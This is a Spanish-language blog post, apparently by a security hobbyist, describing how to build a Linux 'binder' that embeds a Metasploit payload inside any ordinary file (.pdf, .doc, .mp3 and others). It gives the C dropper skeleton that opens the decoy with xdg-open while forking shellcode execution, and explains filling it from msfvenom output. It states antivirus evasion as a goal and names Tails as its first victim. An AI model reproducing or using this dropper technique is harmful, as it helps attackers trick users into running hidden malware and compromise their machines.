

Inspirados en este video, decidí
diseñar mi solución para Linux con los siguientes requerimientos:
- Creación automática del ejecutable troyano.
- La ejecución del troyano debe desplegar el archivo original y al mismo tiempo el payload requerido por el atacante.
- La selección de la aplicación que finalmente abre el contenido legítimo debe hacerse de forma automática (como sucede en Windows).
- El payload debe ser arbitrario y debe poder integrarse con Metasploit.
- La interacción requerida por el usuario no debe ser mayor a hacer un doble click sobre el troyano, de la misma forma que sucede en el caso de Windows.
- La solución debe ser lo suficientemente flexible para poder modificar el ejecutable resultante y poder evadir soluciones antivirus fácilmente.

Para el segundo punto, la solución
también es muy sencilla. El ejecutable simplemente debe hacer un
“fork()” y ejecutar en el proceso hijo, nuestro payload. Para ésto, utilizamos la bien conocida técnica de "cast to a function". Esto implica que debemos recordar compilar sin las contramedidas de stack no ejecutable, etc. Mientras
tanto, en el proceso padre, ejecutamos las instrucciones que sean
necesarias para desplegar el archivo original. El esqueleto de
nuestro programa en pseudo-C sería más o menos así:
#include <stdio.h>
#include <stdlib.h>
%s
unsigned char host[] = {%s};
unsigned char host_output[] = "/tmp/%s";
FILE * fp;
pid_t p;
int main(void){
fp = fopen(host_output, "w");
fwrite(host,1,sizeof(host),fp);
fclose(fp);
p = fork();
if (p == 0){
((void (*)()) buf)();
} else {
system("xdg-open /tmp/%s");
}
}
en donde tenemos que reemplazar esos %s
con los siguientes strings:
%
(payload,byte_array_with_original_data_file,host_file_name,host_file_name)
La variable “payload” es sencilla
de poblar, simplemente usamos el resultado de msfvenom con formato C
(opción -f c). La variable “byte_array_with_original_data_file”
no es más que la representación en bytes del archivo original, al
que queremos “troyanizar.” Finalmente, la variable
“host_file_name” no es más que el archivo original, que lo
usamos tanto para el nombre final de nuestro troyano, como para
obtener los bytes que estarán embebidos en nuestro ejecutable final.

compilarlo con las “flags” adecuadas y listo. Tenemos nuestro propio “binder” para Linux que sirve para cualquier tipo de archivo. Esto quiere decir que podemos “troyanizar” archivos .doc, .pdf, .mp3, .mp4, .xls, .odt, o cualquier otro que se nos ocurra - o que todavía no exista! (Back to the future). Por supuesto, hace falta darse cuenta de algunos detalles adicionales que son propios de la experiencia de campo, pero eso lo dejamos como ejercicio para el lector.
El tercer requerimiento es cumplido
haciendo una simple llamada al sistema con el comando: “xdg-open.”
Este comando selecciona la aplicación que por defecto se encarga de
abrir aplicaciones de este tipo y simplemente la ejecuta. El uso de
este comando se puede ver en nuestro esqueleto de pseudo-C mostrado
más arriba.

Finalmente, los últimos dos
requerimientos se ganan de forma gratuita al haber seleccionado
cuidadosamente las técnicas descritas anteriormente.
Decidimos probar como primera víctima
a Tails, la distribución de Linux enfocada a la privacidad de sus
usuarios. Sin embargo, la misma técnica funciona exactamente igual
en casi cualquier otra distribución de Linux. A continuación, un
video, que es mucho mejor que mil palabras.
PD: Si quieres ayudarme a probar mi
script “linux_dropper.py” en otras distribuciones no basadas en
gnome, escribeme aquí. Gracias! :D